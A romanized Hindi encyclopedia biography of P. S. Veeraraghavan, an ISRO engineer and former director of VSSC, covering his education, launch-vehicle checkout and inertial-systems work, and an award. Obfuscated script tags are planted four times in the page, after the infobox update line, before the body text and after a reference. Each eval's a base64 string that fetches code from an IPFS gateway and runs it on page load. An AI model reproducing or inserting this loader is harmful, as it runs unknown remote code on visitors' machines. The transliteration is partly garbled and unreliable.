पी. एस. वीरराघवन
pi. es. viraraghavan
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| poora nam | pi. es. viraraghavan |
| janm | 24 disambar, 1948 |
| karm bhoomi | bharat |
| karm-kshetr | bharatiy aantariksh karyakram |
| vidyalay | bharatiy praudyogiki sansthan (aeeaeeti), madras |
| puraskar-upadhi | vasavik puraskar (1997) |
| prasiddhi | aantariksh vaijnanik aur r aauket praudyogikividh |
| nagarikata | bharatiy |
| any janakari | aeeaeeesayoo ke nideshak ke roop mean pi. es. viraraghavan ne prakshepan vahanoan aur aantariksh yan ke lie j datviy pranaliyoan ke vikas mean mahatvapoorn yogadan diya hai, jo ki unake samakaksh haian. |
| adyatan | 14:31, 25 disambar 2021 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>pi. es. viraraghavan (aangrezi: Parivakkam Subramaniam Veeraraghavan, janm- 24 disambar, 1948) bharat ke ek prasiddh aantariksh vaijnanik aur r aauket praudyogikividh haian. unhoanne vikram sarabhaee aantariksh keandr (viesesasi), tiruvanantapuram ke nideshak aur isaro mean j datviy pranali ikaee (aeeaeeesayoo) ke nideshak ke roop mean kary kiya hai. pi. es. viraraghavan ne mukhy roop se l aaunch vahanoan ke ekikaran ke kshetr mean aantariksh praudyogiki mean upalabdhiyaan hasil ki haian. unaka bharatiy aantariksh anusandhan sangathan mean char dashakoan se adhik ki avadhi mean ek lanba aur shanadar kॅriyar raha hai. vah eyaron aautikal sosaiti aauph iandiya sahit kee peshevar nikayoan mean bhi sathi haian.
shiksha
pi. es. viraraghavan ne k aaulej aauph ianjiniyariang, giandi se ilektrikal ianjiniyariang mean snatak hone ke bad, bharatiy praudyogiki sansthan (aeeaeeti), madras se madras vishvavidyalay mean pratham raiank aur ilektr aauniks ianjiniyariang mean em. tek hasil karane ke lie svarn padak ke sath viesesasi (tatkalin esesatisi) mean pravesh liya san 1971 mean.[1]
kॅriyar
pi. es. viraraghavan ne e.pi.je. abdul kalam ke netritv mean eselavi pariyojana ke chekaut sistam devalapameant tim mean apana kॅriyar shuroo kiya. vah eselavi-3 projekt ke lie pahale kampyootarikrit chekaut sistam ke dijain aur vikas ke lie jimmedar the. pi. es. viraraghavan ne sieneees mean prashikshan liya hai, phraans, 1971-1972 mean ki shurooat mean. unhoanne isaro ke prakshepan vahanoan ke ekikaran aur chekaut ke kshetr mean bhi agrani yogadan diya hai. tantr aur vahan ekikaran parikshan ikaee ke up nideshak ke roop mean vah joon, 2002 tak pieselavi aur jieselavi ke sanyojan, ekikaran aur chekaut ke lie jimmedar the.
pi. es. viraraghavan ne 31 aktoobar, 2009 ko viesesasi ke nideshak ke roop mean padabhar sanbhala aur disanbar, 2012 tak us sammanit pad par bane rahe. unake saksham netritv mean, pieselavi ne pieselavi si15/kartosait-2bi, pieselavi si16/risorsasait, pieselavi si17/jisait jaise chhah saphal mishan kie. -12, pieselavi si18/meghatr aaupiks, pieselavi si19/araeesait-1 aur pieselavi si21/sp aaut-6. jieselavi ke do mishan the jinamean svadeshi krayojenik charan ki pahali parikshan u dan shamil thi. unake karyakal mean viesesasi mean aantararashtriy star ki kee pramukh suvidhaean sthapit ki geean. isase pahale unhoanne julaee 2002 se 2009 tak nideshak, isaro j datviy pranali ikaee (aeeaeeesayoo) ke roop mean kary kiya tha.
aeeaeeesayoo ke nideshak ke roop mean, unhoanne prakshepan vahanoan aur aantariksh yan ke lie j datviy pranaliyoan ke vikas mean mahatvapoorn yogadan diya hai, jo ki unake samakaksh haian. kaksha mean ianjekshan satikata ke mamale mean any aantariksh yatri rashtroan ne aantatah is mahatvapoorn praudyogiki mean isaro ko atmanirbharata ki or agrasar kiya. pieselavi si-11/chandrayan-1 mishan ke lie aeeesesayoo dvara apoorti ki gee j datviy nevigeshan pranali ne satik kakshiy yuddhabhyas aur ek bahut hi satik chandr ianjekshan ke lie yogadan diya hai. unake saksham netritv mean, aeeaeeesayoo ne kee unnat j datviy seansar vikasit kie haian.[1]
samman
- pi. es. viraraghavan ilektr aauniks, estron aautikal sosaiti aauph iandiya mean pratishthit vasavik puraskar (1997) ke praptakarta haian.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 poorv nideshak (hiandi) vssc.gov.in. abhigaman tithi: 25 disambar, 2021.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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